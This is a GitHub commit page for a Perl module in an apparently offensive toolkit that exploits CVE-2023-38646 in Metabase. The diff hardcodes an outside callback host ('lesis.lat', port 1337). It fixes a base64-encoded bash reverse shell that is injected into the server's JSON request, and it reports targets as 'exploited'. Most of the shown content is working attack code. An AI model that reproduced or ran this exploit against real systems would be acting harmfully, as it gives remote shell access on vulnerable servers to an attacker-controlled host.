Skip to content

Commit

Permalink
fix reverse shell payload
Browse files Browse the repository at this point in the history
  • Loading branch information
htrgouvea committed Oct 25, 2024
1 parent efa8437 commit 7b4fb8f
Showing 1 changed file with 6 additions and 3 deletions.
9 changes: 6 additions & 3 deletions lib/Spellbook/Advisory/CVE_2023_38646.pm
Original file line number Diff line number Diff line change
Expand Up @@ -9,7 +9,10 @@ package Spellbook::Advisory::CVE_2023_38646 {

sub new {
my ($self, $parameters) = @_;
my ($help, $target, $remote, $port, @result);
my ($help, $target, @result);

my $remote = 'lesis.lat';
my $port = 1337;

Getopt::Long::GetOptionsFromArray (
$parameters,
Expand All @@ -34,7 +37,7 @@ package Spellbook::Advisory::CVE_2023_38646 {

if ($token) {
my $headers = HTTP::Headers -> new ("Content-Type" => "application/json");
my $reverse = encode_base64("bash -i >&/dev/tcp/$remote/$port 0>&1", "");
my $reverse = encode_base64("bash -i >& /dev/tcp/$remote/$port 0>&1", "");

my $payload = qq({
"token": "$token",
Expand All @@ -60,7 +63,7 @@ package Spellbook::Advisory::CVE_2023_38646 {
my $response = $userAgent -> request($request);

if ($response -> code() == 400) {
push @result, $target;
push @result, "\n[+] $target exploited\n";
}
}
}
Expand Down

0 comments on commit 7b4fb8f

Please sign in to comment.